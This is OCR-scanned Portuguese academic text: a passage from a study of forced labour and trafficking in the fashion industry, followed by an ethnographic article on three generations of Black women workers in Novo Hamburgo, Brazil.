sao levantados cuidadosamente sob um processo comprobatorio rigoroso. Porém, salienta-se

que a confiabilidade dos numeros reflete também na qualidade e quantidade das informacogs
acessiveis. Por exemplo, regides onde a conscientizacao sobre o tema é fraca, ou a liberdade
de expressao é restrita, passam a ser resultados menos confiaveis.

Na comparacao destes dados, € possivel perceber a ligacao entre os povos que

sob condicoes de trabalho exploratorias e os paises onde a fabricagéo fica concentradal Exis-



tem diversos motivos para que as atividades industriais tenham sido transferidas dos Estados
Unidos e Europa para esses paises, porém, Lylian Berlim (2012) explica que a elaboragéo de
uma rigorosa regulamentagéao europeia ambiental e trabalhista seria um dos fatores determi-
nantes para isso. Aparentemente, a adequacao das empresas téxteis a esse novo regulamento
seria mais custosa do que mudar de continente e esta, por sua vez, os possibilitaria a execugao
de praticas tradicionais mais baratas de comercializacao. Seja em paises industrializados ou
zonas urbanas, casos de trabalhadores migrantes em servidao por divida ou coergao tém se

intensificado.

2.1 0 TRABALHO FORCADO

A Organizagao Internacional do Trabalho' (2009, p.1) define o trabalho forcado como “a
antitese do trabalho digno”. Uma pratica que viola direitos humanos por meio da exploragao e
abuso de pessoas vulneraveis € considerada crime, uma vez que suas consequéncias ainda
comprometem a estrutura social, ambiental e psicolégica da populagao. A organizagao argu-
menta ainda que a pobreza seria fator influenciador fundamental de casos de trabalho forcado e,
ao mesmo tempo, também poderia ser considerada uma consequéncia direta dessas praticas.

Até pouco tempo, o trabalho forgado e o trafico de pessoas eram fendbmenos que pare-

ciam ocorrer em regides remotas e comunidades mais pobres pelo mundo. Nos ultimos an
esses crimes tém sido encontrados com frequéncia, principalmente em grandes centros ugba-
nos, e variam dependendo da sociedade em questdo. Para Martins (2002), o trabalho for¢ado

' A Organizagéo sera explicada durante a pesquisa.




€ uma expressao das contradigcdes proprias do desenvolvimento capitalista que fomenta meios
para ampliar e extremar a eficacia dos mecanismos de acumulagao. Esta seria uma manifes-
tagao tardia em condicoes econdmicas, sociais e culturais particulares da sociedade. A escra-
vidao moderna se utiliza de um grande numero de pessoas vulneraveis a esse tipo de abuso
e, ao invés de pagar os custos necessarios para manter o trabalhador, o sistema descarta-o
conforme a necessidade, tornando-se uma atividade menos custosa para donos de grandes
negocios. (BALES, 2000).
A forma contemporanea de escravidao nao prende suas vitimas as correntes, mas con-
tinua negando-lhes o direito a dignidade e a liberdade. O legado escravista e a estrutu-
ra agraria deixaram raizes profundas na organizagéo social do campo: a concentragao
da terra piora a vulnerabilidade socioecondémica de milhares de trabalhadores, que,

diante da falta de opcoes, se veem obrigados a aceitar condigdes de vida de trabalho
desumanas. (ONG REPORTER BRASIL, 2015).

Considerado como uma maneira ainda mais perversa de extorsao, por coibir necessi-
dades substanciais da existéncia do ser humano — como alimentagao, educacao, moradia e
saude — o trabalho em condi¢cdes precarias e analogas a escravidao atinge dois aspectos do
individuo: a dignidade e a liberdade. Quando uma pessoa tem esses dois fatores violados de

alguma maneira, é possivel reconhecer que seus direitos humanos estao sendo gravemente

desrespeita a dignidade e reprime a liberdade das pessoas. Uma vez que ja sao considefadas



atitudes criminosas por lei ao redor do mundo, ndo seriam caracterizadas como a manifestacao
cultural de um povo. (ONG REPORTER BRASIL, 2015).

Para os que nao fazem parte dessa minoria, a compreenséo da situagdo como ela
realmente acontece torna-se um pouco duvidosa. O senso comum questiona como, em pleno
seéculo XXI, uma pessoa se permite iludir por promessas cegas de uma vida melhor com retorno
financeiro muito maior do que se espera? Porem, € importante colocar que a realidade mostra
que grande parte dos trabalhadores nao faz ideia que servem a um sistema que esta sendo
injusto e suprimindo seus direitos. Saidos de um ambiente precario, sem alfabetizagdo basica e
conhecimentos de seus direitos e deveres, a maioria acredita que a situacao em que se encon-
tram atualmente € melhor do que a vivida em seu pais de origem e a ideia de perder o pouco
que conseguem gera medo, intimidando qualquer tentativa de resisténcia.

Muitos trabalhadores sao forcados a dormir no mesmo ambiente em que trabalham,
onde normalmente sao instaladas oficinas improvisadas, sem a menor estrutura para habita-
c&o. E comum encontrar alimentos estragados e agua suja sendo consumidos por essas pes-
soas, além da estrutura de risco que estao sendo expostas dentro desses locais. Dificilmente
recebem comida suficiente ou tem dinheiro para poder compra-la ja que, a cada peca de
roupa confeccionada, todo ou grande parte do valor que recebe — este sendo contabilizado em
centavos — € descontada do salario pela chamada servidao por divida. lludidos com a ideia de
uma vida melhor, ja chegam ao local de trabalho devendo o valor da passagem utilizada
chegar la, além dos descontos infundados feitos pelos aliciadores ao repassarem os saldrios.
Assim, estes trabalhadores veem-se em um circulo vicioso de pobreza do qual nao conseguem

se desvincular.




2.2 TRAFICO DE PESSOAS, MIGRACAO E TRABALHO INFANTIL

Dentro do panorama do trabalho forcado e das suas formas de aliciamento, propostas
sedutoras de oportunidades unicas de trabalho com boa remuneracao, alojamento garantido
e a chance de construir uma vida nova sao comuns. Estima-se que, no minimo, um terco das
pessoas — principalmente mulheres e criangas — sao traficadas mais para fins econémicos do
que para exploracao sexual, 0 que demonstra uma abrangéncia muito maior do enfoque do
trafico humano, apresentando-o com uma complexa e profunda articulacéo de seus fins e sua
relagao com o trabalho forgado. Em condicoes semelhantes, o processo de migracao tambéem
esta relacionado ao tema. Sem oportunidade de emprego em seus municipios de origem, as
pessoas que vivem em uma situacao de extrema pobreza se veem obrigadas a migrar em
busca de trabalho. Sem condi¢des de sustentarem a si ou a familia, estdo mais propensas a
aceitar qualquer tipo de proposta.

Embora a migracao seja um direito humano sustentado pelo Artigo 13 da Declaracéo
Universal de Direitos Humanos (UNESCO, 1998, p. 3), onde “1. Todo ser humano tem direito a
liberdade de locomocao e residéncia dentro das fronteiras de cada Estado. 2. Todo ser humano
tem o direito de deixar qualquer pais, inclusive o proprio, e a este regressar”, alguns governos
adotam politicas que dificultam ou impedem a entrada de pessoas em seu territério. Essas me
didas contribuem para que migrantes figuem mais suscetiveis ao esquema e tornem-se Viti
do trafico de pessoas e do trabalho forgado. Em tempo, migrantes indocumentados que enffam
em um pais de maneira irregular sado, por muitas vezes, considerados ilegais, 0 que se reyelou
ser uma interpretagao incorreta da lei e da sociedade. Entrar em um pais sem documento ¢ uma

infracao administrativa, ou seja, nao € crime e nao requer qualquer tipo de punicao.




Da mesma maneira, a pobreza e a crise econdémica de alguns paises exercem grande
influéncia no esquema de trabalho infantil, contribuindo inclusive para a perpetuagao da mes-
ma. Contudo, a pobreza em si ndo € suficiente para explicar esse tipo de pratica e também
nao justifica algumas das formas mais cruéis de trabalho infantil. Segundo a Organizacao das
Nagdes Unidas (2015), existem 215 milhdes de criancas ao redor do mundo trabalhando atual-
mente e, muitas delas, sem pausa. Nao recebem nenhum cuidado ou nutricao apropriada € a
maioria nao tem a oportunidade de ir a escola. Mais da metade estao expostas as piores formas
de trabalho infantil como trabalhar em locais perigosos, escravidao ou outras formas de traba-
Iho forgado, além de diversas atividades. Acostumados a uma vida dura desde cedo, essas
criangas serao os trabalhadores que, quando adultos, estarao mais vulneraveis a exploragao.

Desde 1995, quando a primeira operagao do Grupo Movel de Fiscalizagao referente a
trabalho escravo ocorreu no Brasil, 43.545 pessoas foram libertadas. Entre 2003 e 2009, mais
de 60% eram analfabetos ou ndo haviam completado o 4° ano da educacao fundamental.
(ONG REPORTER BRASIL, 2015). Esses dados mostram que, quando criancas, estes adultos
nao tiveram a chance de estudar por precisarem contribuir com o sustento da familia ou lutar
pela propria sobrevivéncia. Percebe-se entao a relagao existente entre o trabalho infantil e sua

incidéncia com o trabalho escravo.

2.3 ACOES DE COMBATE AO TRABALHO ESCRAVO

No Brasil, a libertacao nao significa necessariamente a solucao do problema. Uma vez

que os trabalhadores continuam sem acesso ao trabalho digno, saude, educacao e mor




situagao de vulnerabilidade socioeconémica se mantém, tornando favoravel a reincidéncia da
exploracdo. (ONG REPORTER BRASIL, 2015). O 2° Plano Nacional para a Erradicacéo do Tra-
balho Escravo® prevé que a luta para romper esse ciclo no pais deve-se a trés frentes de acoes
complementares: de prevencao — por meio da informacéo e formacao, de assisténcia — com
iniciativas de cooperativismo e qualificacao das vitimas — e de repressao ao crime — resistindo
e realizando mobilizagdes. (SEDH, 2008).

O combate para a erradicacao do trabalho forcado vem sendo um dos problemas
mais complexos enfrentados por comunidades internacionais, governos e organizacoes de
empregadores e de trabalhadores. Para a Secretaria Internacional do Trabalho (2002), buscar
uma maneira de elimina-lo requer a aplicagao de solucoes multidimensionais para combater as
diferentes formas que assume.

Até o presente momento, a Organizacao Internacional do Trabalho vem desempenhan-
do um papel importantissimo enfrentando trabalho escravo. Criada em 1919 como parte do
Tratado de Versalhes®, a OIT tem como principal funcéo “a formulacéo de normas internacio-
nais que possam ser adotadas por todos 0s paises e que garantam a defesa dos direitos dos
trabalhadores”. (OLIVEIRA; SETTON, 2006, p.36). Ela vem aprimorando seu papel junto aos
paises integrantes do sistema gerindo questoes trabalhistas em assuntos internos. Assim, ela
contribui individualmente na formulacao de medidas apropriadas que respeitem e cumpra,
com as normas estabelecidas. Uma das organizacdes mais antigas do sistema das Nagpes

? Documento referéncia nacional para o enfrentamento do trabalho escravo no pais.
® Tratado que pos fim & Primeira Guerra Mundial. Fundou-se sob a convicgao primordial de que a paz universal e permanente fomente
pode estar baseada na justica social.




Unidas, € a unica que conta com um funcionamento tripartite: cada um dos 185 paises mem-
bros possui representantes por parte do governo, dos trabalhadores e dos empregadores.
Datam de 1930 os registros sobre os primeiros esforcos da organizacao na tentativa de
unir paises e conscientiza-los sobre praticas de exploracao de mao de obra, mas somente a
partir da década de 1990 que projetos de cooperacao técnica comegaram a ser elaborados
entre a OIT e os paises membros. (OIT, 2005). Anualmente é realizada a Conferéncia Interna-
cional do Trabalho, na qual sao discutidos assuntos relativos ao trabalho, a criagao ou revisao
de normas internacionais do trabalho e a aprovagao de politicas gerais e de programas de
trabalho. Recentes esforcos geraram um aumento da visibilidade do tema em escala interna-
cional, engajando governos locais e interlocutores sociais. Desde o inicio do primeiro relatorio
foram feitos progressos, porém, novos obstaculos ainda precisam ser superados para que se
continue avangando. Para Oliveira e Setton (2006), um dos fatores de impedimento para isso
seria a falta de precisao ao conceituar o trabalho forgcado, dificultando a constatacao da situa-
¢ao criminosa e a punigao devida aos responsaveis.
[...] ndo basta apenas criminalizar o trabalho forgado. O trabalho escravo contempo-
raneo, como dissemos anteriormente, € causado em grande parte por uma situagéo
de desigualdade socioecondémica a que milhares de trabalhadores do mundo estao
expostos. Cabe, nesse caso, uma atuacao individual dos Estados no sentido de prover,

possibilidades de vida e empregos dignos para toda a populagéo e o esforgco para sp-
lucionar problemas especificos de suas realidades. (OLIVEIRA; SETTON, 2006, p.

Dessa maneira, € possivel compreender que os fatores estruturais de cada sociedade
devem ser considerados e relacionados a presenca de trabalho forcado nas mais diversas par-

tes do mundo. A exposicao do problema como uma preocupacao social e econémica fez com




3 CONSIDERACOES
PARCIAIS

que grande parte dos paises adotasse uma legislagao considerando essa pratica uma atividade
criminosa. Contudo, a falta de apuracao na identificacéao desses casos acaba disponibilizando
poUCOoS recursos para o estabelecimento e sancéo de agdes penais, além de restringir a cons-
cientizacao da sociedade e da midia — personagens importantes que exercem pressao para o
fim deste problema. O jornalista e doutor em Ciéncia Politica, Leonardo Sakamoto (2014), reforga
que “a fim de que casos de trabalho escravo contemporaneo sejam punidos, a imprensa —uma
das responsaveis pela constru¢gao simbdlica do nosso cotidiano — deve garantir que enganos

nao sejam divulgados. Porque se tudo for trabalho escravo, nada na verdade é”.

Ao identificar a moda como principal promotora do consumo excessivo, compreende-
-se 0 quanto a globalizacao e o capitalismo influenciam o sistema hoje estabelecido. Industrias
precisam produzir para sobreviver no mercado e 0 consumidor precisa comprar para manter
seu lucro e rotatividade. Tudo isso acontece simultaneamente, culminando em uma sociedade
individualizada e de habitos infrenes de consumo. Berlim (2012, p.141) salienta a influéncia do
individuo nos contextos sociais ao explicar que “nao se pode simplesmente condenar a moda

ao caos do capitalismo, pois, [...] antes do capital existe o sujeito e sua identidade. A moda

foi criada por esse individuo, 0 mesmo que provocou a revolugao dos ultimos duzentos ano

Compreender o trabalho escravo contemporaneo requer muito esforgo a fim de/ se
construir um consenso global que identifique e trate sistematicamente o problema. E préciso
tempo, recursos, coeréncia e, em muitos casos, coragem. Com isso, sera possivel desgnvol-

ver e disseminar as ferramentas necessarias para assegurar a eficacia das acoes. O reforco




intensivo na capacitagao da populacao, dos governos e das organizagdes € essencial para
assegurar a sustentabilidade no combate contra o trabalho forcado. Entretanto, em seu plano
teorico, o conteudo dessa pesquisa nao é decisivo, mas servira como ponto de partida para

futuras pesquisas da autora, demais académicos e docentes da area.

De certa forma a industria da moda se mostrou uma das principais promotoras de con-
sumo excessivo no mundo. Contudo, ela esta sendo diretamente estimulada pela globalizagao
que, em consequéncia, fomenta o capitalismo que aumenta a competigdo entre mercados.
|dentifica-se ai um ciclo muito mais complexo do que o das hipoteses inicialmente apresen-
tadas. Por outro lado, € possivel perceber a acdo de uma contracultura disposta a mudar
essa realidade. Marcas de moda, ONG'’s e veiculos de comunicacao ja educam consumidores

sobre a necessidade de preservar espécies. A sociedade ja vive um periodo de amadureci-

mento para uma nova percepgao do mundo, especialmente sob a 6tica da sustentabilidade.
A continua conscientizagao socioambiental da populagao vem cooperando para a elaboragao
de alternativas e consolidagao de novos cenarios na industria da moda. Com isso, identifica-se
que alguns consumidores estédo estabelecendo diferentes relacdes com o consumo, gerando
novas interagcdes entre usuarios, criadores e designers, e impelindo empresas a adequacao de

seus novos habitos.
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Desenvolvido no Projeto de Pesquisa Memdrias do mundo do trabalho, préticas sociais e representacaes
simbdlicas: colecoes etnogrdficas e etnografia audiovisual de bairros nas metrdpoles contemporaneas/CNPq,
o tema central do artigo apresenta dados parciais da pesquisa sobre as memérias do mundo do trabalho no
Vale dos Sinos/RS, regiao associada ao processo de imigracao alema no sul do Brasil, a partir da trajetdria
social e dos itinerdrios urbanos de trés geracdes de mulheres negras, moradoras de Novo Hamburgo. Atra-
vés da pesquisa etnogrdfica em contextos metropolitanos, e com o auxilio de equipamentos audiovisuais,
0 artigo tem por inspiracdo o0s estudos das autoras Cornelia Eckert e Ana Luiza Carvalho da Rocha (2003)
sobre 0 tema da etnografia da duracao e de Margarete Nunes e Magna Magalhaes (2013) sobre as formas
de sociabilidades negras e o mundo do trabalho em Novo Hamburgo. A pesquisa tem evidenciado que
misoginia e 0 racismo marcam a insercdo da mao de obra feminina negra no mercado de trabalho da
regido do Vale dos Sinos, tomando-se como ponto de partida as narrativas da matriarca da familia Santos,
nascida apenas 35 anos apos a assinatura da Lei Aurea, de quem uma das autoras do artigo € a neta.
Palavras-chave: Memdria. Etnicidade. Género. Trabalho.

ABSTRACT

Developed inside the research project Memories of the world of work, social practices and symbolic repre-
sentations: ethnographical collections and audiovisual ethnography in the neighborhoods of contemporary
metropolises/CNPg, the central theme of this article presents partial research data of the memories of the
world of work in the Sinos Valley Region/RS, a region associated with the German immigration process in
the south of Brazil, from the social trajectory and urban itineraries of three generations of b lack women who
live in Novo Hamburgo. By ethnographical research in metropolitan contexts, with the aid of audiovisual equi-
pment to record the women’s testimonies, the study is inspired in articles and other productions of Cornelia
Eckert and Ana Luiza Carvalho da Rocha (2003) about the duration ethnography and also Margarete Nunes and
Magna Magalhaes’ (2013) work about forms of black sociability and the world of work in Novo Hamburgo. The
research has made evident that misogyny and racism were factors that marked the insertion of black female
work force in the work market in the Sinos Valley region, becoming the starting point of the narratives of the
matriarch of the Santos family, born only 35 years after the signing of the Golden Law, and grandmother of
one of the authars of this article.

Keywords: Memory. Ethnicity. Gender. Work.




A ABERTURA DE
M PERCURSO DE
INVESTIGACAO

O artigo em questao toma como foco de estudo a interpretagdo das representacoes
sociais e simbolicas veiculados pela figura da mulher negra no interior da construgdo do mun-
do do “trabalho livre” na cidade de Novo Hamburgo/RS. Um estudo que foi iniciado dentro
do projeto de Bolsa de Iniciacéo Cientifica Memdrias do mundo do trabalho, praticas sociais
e representacoes simbolicas Colegcbes etnograficas e etnografia audiovisual de bairros nas
metropoles contemporaneas, coordenado pela Professora Dra. Ana Luiza Carvalho da Rocha
(Bolsa Produtividade CNPq), desenvolvido no Grupo Pesquisa em Metropolizacao e Desenvol-
vimento Regional da Universidade Feevale, e segue, portanto, as orientacdes teodricas linha de
pesquisa do projeto, Narrativas Audiovisuais e Territorialidades Urbanas, desenvolvidas por
seus pesquisadores.

Em nossa pratica de pesquisa no contexto das metrépoles contemporaneas adotamos
como referéncia as obras de Eckert e Rocha (2013a, 2015a) sobre o tema da antropologia da
e na cidade e das interpretacoes das formas de vida social nos grandes centros urbano-indus-
triais, segundo estudos etnograficos das memorias do trabalho.

Para o caso das analises parciais dos dados de pesquisa coletados até o momento,
adotamos como ponto de partida as distintas narrativas a cerca das territorialidades dos gru-

pos urbanos em Novo Hamburgo, segundo suas circunscricoes étnicorraciais. Nos moldes

das grandes metropoles contemporaneas, a instalacao da civilizacao urbano-industrial no Vale
dos Sinos é concebida como uma “metafora viva da consolidacao de estruturas espaco-tgm-
porais descontinuas vividas pela sociedade gaucha, no corpo da memoria coletiva da nacao
brasileira” (ECKERT; ROCHA, 2013, p. 265). Nestes termos, aderimos aos estudos histéricos e

etnobiograficos que tratam da presenga do negro no sul do Brasil (OLIVEN 1996), e em|espe-




cial no Vale dos Sinos desenvolvidos por Magna Lima Magalhdes e Claudia Schemes (2013),
Margarete Fagundes Nunes (2013).

No que tange a pesquisa etnografica, o artigo resulta, por um lado, da Iniciagao Cien-
tifica, as técnicas e procedimentos do trabalho de campo da Antropologia urbana e Antropo-
logia visual aplicados ao estudo de processos de metropolizagao. Por outro lado, decorre das
aprendizagens com as técnicas de formagao de acervos digitais, com o objetivo de produgao
colecdes etnograficas, no formato de crénicas audiovisuais, sobre as memorias do mundo do
trabalho na regido (ECKERT e ROCHA, 2015b). Em ambos os casos, destacamos a preemi-
néncia da imagem para a interpretacao do fendbmeno urbano como acontecimento narrativo
de um “querer-viver coletivo” (ECKERT e ROCHA, 2015a). O método empregado &, portanto, o
etnografico, o da etnografia da duragao, nos moldes concebidos por Eckert e Rocha (2013b),
para quem a pesquisa no ambito das modernas sociedades contemporaneas tem por desafio
a etnografia dos diversos arranjos temporais que fundam as praticas cotidianas dos seus habi-
tantes e o estudo de suas modalidades narrativas.

Finalmente, € importante esclarecermos que os dados aqui apresentados tratam de um
trabalho de campo que se iniciou ha menos de um ano junto ao bairro Vila Rosa, na cidade de
Novo Hamburgo, tendo como foco o registro audiovisual de itinerarios dos grupos urbanos na
regiao do Vale dos Sinos, com o objetivo de formagao de colecdes etnograficas, no formajfo
de cronicas audiovisuais, sobre as memorias do mundo do trabalho na regiao. O trabalho
parte da serie Cronicas do Vale dos Sinos, do Grupo de Pesquisa em Metropolizagao e Ddgsen-
volvimento Regional, em que serao contadas as historias, memoarias de trabalhadores dg Vale

e neste caso, trabalhadoras negras.




Nao poderiamos deixar de mencionar que o estudo pauta-se pelos apontamentos que
foram estabelecidos por Gilberto Velho (1987) para a pesquisa antropologica no contexto me-
tropolitano. Estamos nos referindo aos processos de relativizacao e estranhamento que cons-
trangem o antropologo pesquisando sua propria cidade, grupos social ou étnico. Ou seja, na
“observacao do familiar” esta em jogo nao apenas o esfor¢o para tornar o “familiar” algo “estra-
nho”, mas, principalmente, torna-lo conhecido. Isto € o que circunscreve o esforco de descen-
tramento dos vinculos que unem uma das pesquisadoras aos seus sujeitos da pesquisa. Uma
das autoras pertence a familia Silva dos Santos, sendo a expressao de sua terceira geracao de
mulheres negras nascidas em Novo Hamburgo, o que demanda a adocéao de técnicas da pes-
quisa antropolégica no contexto das modernas sociedades complexas como forma de adotar
uma reflexao critica acerca de sua proximidade com as trajetorias sociais € itinerarios urbanos
das mulheres que sao suas parceiras de pesquisa tendo em vista sua pertenca familiar, de
posicao social e de condi¢cdes de género e étnico-racial.

Conforme Gilberto Velho (1987), para conseguir observar o familiar € necessario estra-
nha-lo e so é eficaz quando confrontamos diferentes depoimentos, por isso a importancia de
termos as trés geragdes falando sobre temas inerentes ao dia-a-dia da mulher negra em dife-
rentes épocas. Para contar as histérias das personagens que foram criadas na mesma casa em
um municipio onde predomina a descendéncia alema, recursos audiovisuais foram utilizadgs
para registros dos depoimentos que expdem o outro lado da sociedade em épocas diferenfes.

Entretanto, se por parte da aprendiz de antropologa experienciamos o problema da
distancia epistemologica que separa o “familiar” do “conhecido”, por parte do mestre

um processo inverso e complementar ao que foi descrito anteriormente. Habitante da




de Porto Alegre, mulher, branca, pertencente as camadas médias intelectualizadas, estamos
lidando com a “familiarizacao” do mestre, as trajetorias sociais e dos itinerarios urbanos de trés
geragdes de mulheres negras, oriundos das classes trabalhadoras urbanas, no contexto me-
tropolitano de Novo Hamburgo. Na adocao de um recorte étnicorracial e de classe para o caso
da pesquisa aqui apresentada tratamos, portanto, de um processo de mao dupla em termos
de aprendizagens da pesquisa no contexto das modernas sociedades complexas, e onde a
dialogicidade torna-se uma estratégia epistemologica fundamental entre as pesquisadoras e
entre elas e as suas parceiras de pesquisa.

Inicialmente batizada de Coldnia de Sao Leopoldo em 1824 pelos imigrantes alemaes,
a regido onde se localiza Novo Hamburgo/RS, deu origem a outras cidades, intitulando-se mais
tarde como Vale dos Sinos. O municipio em questao emancipou-se 103 anos depois e conso-
lidou-se como polo industrial durante décadas, com base no ideario da introdugao do trabalho
livre por oposicao ao trabalho escravo na regiao do Vale dos Sinos.

O mito fundacional da civilizagdo urbana e industrial na regiao valoriza, portanto, a
trajetoria herdica de imigracao de familias alemas, relegando um papel secundario a outras
etnias, como o caso do periodo que antecede a vida dos colonos alemaes para a regiao, que
antes era habitada pelas tribos indigenas Charrua e Minuano, além dos escravos traficados do
continente africano para o Rio de Janeiro e enviados ao porto de Rio Grande para o trabalho
forgado nas fazendas e charqueadas (OLIVEN, 1996), alguns usados nas fazendas de pr
cao de linho ali existentes.

As memdérias do mundo do trabalho da regido, apesar de ter como marco o mitp fun-

dacional do setor coureiro-calcadista para a construgao da identidade da comunidade urbana
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EM SUAS TRAJETORIAS
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AS TERRITORIALIDADES
NEGRAS

hamburguense, adotam outras modalidades narrativas quando nos situamos no interior dos
relatos de mulheres negras da familia Silva dos Santos sobre esse cenario.

Ou seja, o processo de industrializacao e modernizacao das formas de producéo no
Vale dos Sinos, onde antes se situada a antiga Feitoria, e usualmente associada a introdugéo
do mundo do trabalho livre na regiao, nao se expandiu com base na disseminacao irrestrita de
valores igualitarios caracteristicos dos postulados do individualismo moderno (VELHO, 1981),
mas ao contrario, deu continuidade a mentalidade escravocrata, tendo como decorréncia uma

segregacao espacial no interior dos seus nucleos urbanos.

As mulheres da familia Silva dos Santos, que fazem parte dos iniciais de pesquisa,
residem ha trés geragdes no bairro Vila Rosa, e cuja matriarca é natural do antigo bairro Africa,
atual bairro Guarani, nome que ja denota, era habitado predominantemente por familias negras
(MAGALHAES e SCHEMES, 2013). A familia Silva dos Santos habita duas casas que com-
partilham o mesmo terreno. La ainda esta situada a antiga morada da matriarca, a Sra. Darcy
Fernandes, nascida em Novo Hamburgo em 25 de agosto de 1923, conhecida por amigos e
vizinhos como Dona Dora, hoje com 92 anos, e nossa primeira personagem desta historia.

A matriarca da familia Silva dos Santos, Dona Dora nossa primeira personagem, Viv
toda a sua infancia no antigo bairro Africa, tendo se deslocado, aos 10 anos, para o bairro
mavera e, posteriormente, para a capital, Porto Alegre, momento em que inicia suas primgiras
incursdes no mundo do trabalho doméstico. Somente com o falecimento da mae, quando faz

15 anos, € que D. Dora retorna a Novo Hamburgo, morando, entretanto, nas casas de familia




de origem alema onde trabalhava, até se casar, aos 28 anos em 8 de novembro de 1950, com
o tingidor Jodo Ranolfo da Silva, mais conhecido como Seu Darco, que trabalhava em curtumes
da regido e com quem teve seus trés filhos. Atualmente Dora, viuva de Darco, falecido em 1999,
apos 49 anos de casamento, tem oito netos e trés bisnetos.

A primogénita de Dora, Jussara Izabel da Silva, nascida em 13 de maio de 1951 (dia e
més, data da Abolicdo da Escravatura), é aqui nossa segunda geracao de mulheres da familia
Silva dos Santos. Como a méae, Jussara ingressou no mundo do trabalho por meio dos afazeres
domeésticos, aos 15 anos. Uma “heranca familiar” dos tempos da familia patriarcal e escravista
brasileira e que nos permite compreender as razdes pela qual 0 emprego doméstico de torna
a porta de entrada ao mercado de trabalho de muitas jovens brasileiras (MANESCHY, 2013).
Dentre elas, € importante ressaltar, 67% delas sdo negras, sendo mais que a media mundial,
conforme a Organizagao Internacional do Trabalho (OIT).

Dona Jussara, nossa segunda personagem, moradora do bairro Vila Rosa, rompendo
parcialmente com a trajetoria de sua mae, passa por um processo de escolarizacao e de pro-
fissionalizacao, se forma em Magistério e passa, a seguir, a atuar como professora na rede
municipal de ensino. Entretanto, apesar desta trajetoria social que rompe com o “destino” das
mulheres da familia, Jussara, por uma imposicéo do pai, Seu Darco, foi obrigada a casar-se
cedo, aos 20 anos, em 1972, com o ex-jogador de futebol, Jorge Tabajara Lima dos Santos.

Com Jorge, de quem recebeu o sobrenome dos Santos, Jussara, teve trés filhos ho-
mens e uma menina, Andressa Thais, uma das autoras do artigo, em 6 de janeiro de 1993, e
parte de uma geracao de mulheres da familia cujas trajetorias sociais e itinerarios urbangs sao

aqui abordados. Andressa, a terceira personagem de nossa estoria, atualmente, com 23/anos,




AN ;) -5
As trés geracgdes: Darcy, Jussara e Andressa no antigo chalé da familia
em Novo Hamburgo/RS. Dezembro de 2015.
Fonte: Acervo pessoal
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prossegue no projeto familiar de ascensao social elaborado
por sua avé Dona Dora, empregada doméstica de familias ale-
mas moradoras de Novo Hamburgo. Colocado em pratica por
sua mae, Dona Jussara, funcionaria publica aposentada, esta
atualmente cursando Jornalismo na Universidade Feevale/RS.

O antigo bairro Africa foi cenario politico importante
em Novo Hamburgo na luta por reconhecimento do “direito a
cidade” por parte das populacdes negras, pois nos seus ter-
ritérios se iniciaram as primeiras movimentagdes sociais con-
trarias as formas de segregacao espacial que foram, por muito
tempo, adotadas pela municipalidade como regra usual de
ocupacao territorial do solo urbano entre os distintos grupos
étnicorraciais que ali habitavam. Antes mesmo da municipa-
lidade implementar formas mais democraticas e republicanas
de ocupagao urbana pelos poderes locais, o pai de D. Dora, foi
um dos fundadores do primeiro clube de negros do Vale dos
Sinos, Sport Club Cruzeiro do Sul.

Dona Dora e Joao Ranolfo criaram os filhos dentro do
municipio de Novo Hamburgo, em um chalé de madeira
ximo ao centro da cidade, no bairro Vila Rosa. Inicialment
terreno, morava a familia de Dargo e com o passar do t¢mpo,

devido a falecimentos e separacoes, os ultimos membiros da




familia realocaram suas moradias em diferentes partes da cidade. Disto resulta a venda e o
parcelamento gradativo do lote inicial da familia do marido de Dora e sua posterior incorpora-
¢ao a um novo tecido urbano que se projetava para as areas vizinhas a area central da cidade.
Dona Dora, marido e filhos, fixa sua residéncia no bairro Vila Rosa e ali permanece até hoje.

A importancia da morada € central para estas trés geracoes de mulheres negras como
ponto de ancoragem de suas memorias de um projeto de ascensao social transgeracional para
o grupo familiar como um todo. As madeiras da antiga casa de Dona Dora, que fica atualmente
atras da casa de sua filha, Jussara, construida alguns anos atras ja mostram o sinal do tempo e
recebem reformas com frequéncia. O terreno onde se situam ambas as casas esta rodeado de
predios de apartamentos destinados a familias de camadas meédias, brancas, fruto do proces-
so de enobrecimento do bairro e da venda das casas dos antigos moradores.

Ambas as moradas carregam a historia das lembrancas dos esforcos empreendidos
por geragdes de mulheres pertencentes as familias negras que habitavam anteriormente essa
regiao do contexto metropolitano de Novo Hamburgo para tornarem-se proprietarias de uma
residéncia, e assim fincar suas raizes no mundo do trabalho que ali se desenvolvia. Ainda que
0 deslocamento para o bairro tenha ocorrido aos 28 anos de idade, Dona Dora mescla suas

lembrangas do mundo do trabalho domeéstico em residéncias de familias alemas, da aquisicao

do terreno e da construcao de sua casa com as suas memorias do bairro que lhe permiti

finalmente, “ser alguem”. Como ela mesma conta:

Essa casa representa toda a minha vida. Daqui que eu comecei a ser[gente
mesmo. Ser valorizada como gente. Que até ai [sic] eu era uma perdida sem
ninguém, n&o tinha parente, nao tinha ninguém. (Informacao verbal:| Darcy
29/08/2015).




Orfa de pais na adolescéncia e com dois irmaos mais novos, para Dora o casamento,
seu deslocamento para o bairro Vila Rosa e a construgdo de sua morada, foi uma maneira de
inserir-se em um ambiente familiar acolhedor, diferentemente de onde viveu por 15 anos, um
mundo estranho, tdo perto e, ao mesmo tempo, téo longe, da vida em familia como argumenta
Maneschy (2013). A morada (a casa) adota aqui outro sentido, o dos devaneios da “terra natal”
associado ao exercicio do viver a cidade a partir de um lugar de seguranca, fruto de uma luta por
reconhecimento de direito, mas também nos termos bachelardianos, lugar de protegao de “si”.

A filha Jussara, que se separou em 1994, criou os quatro filhos no mesmo terreno, em
uma casa de material, que tem aos fundos o chalé em que cresceu. Durante o casamento,
Jussara e seu marido, jogador de futebol, viajaram muito pelo pais, e antes das Ultimas duas
gestacoes, o casal retornou definitivamente para Novo Hamburgo. Para ela, como para sua
mae, Dora, o valor da morada, heranga que enraiza as memorias da familia Silva dos Santos no
bairro Vila Rosa, ha quase sete décadas na cidade de Novo Hamburgo, se revela a casa como
lugar de protecao para a sua prole em oposicao ao espago da rua. Ao ser interpelada sobre a

representacao da casa para sua vida, Jussara nos responde:

Seguranca. Foi um lugar que eu me criei, que voltei apos um tempo, e era um
porto seguro. (Informagéo verbal: Jussara, 24/07/2015)

Neste caso, ter uma casa, ser proprietaria de uma residéncia reune para estas mulle-
res de uma mesma familia, a nocao de individuo ao da pessoa e suas respectivas insta
sociais. Ter uma casa remete a “topografia de nosso ser intimo” (BACHELARD, 1974, p/354)

tanto quanto ao sentimento de suplantar as intempéries de uma estratificagao social rigida na




qual se organiza a vida social hamburguense. A morada, a casa materna, seja de Jussara, seja
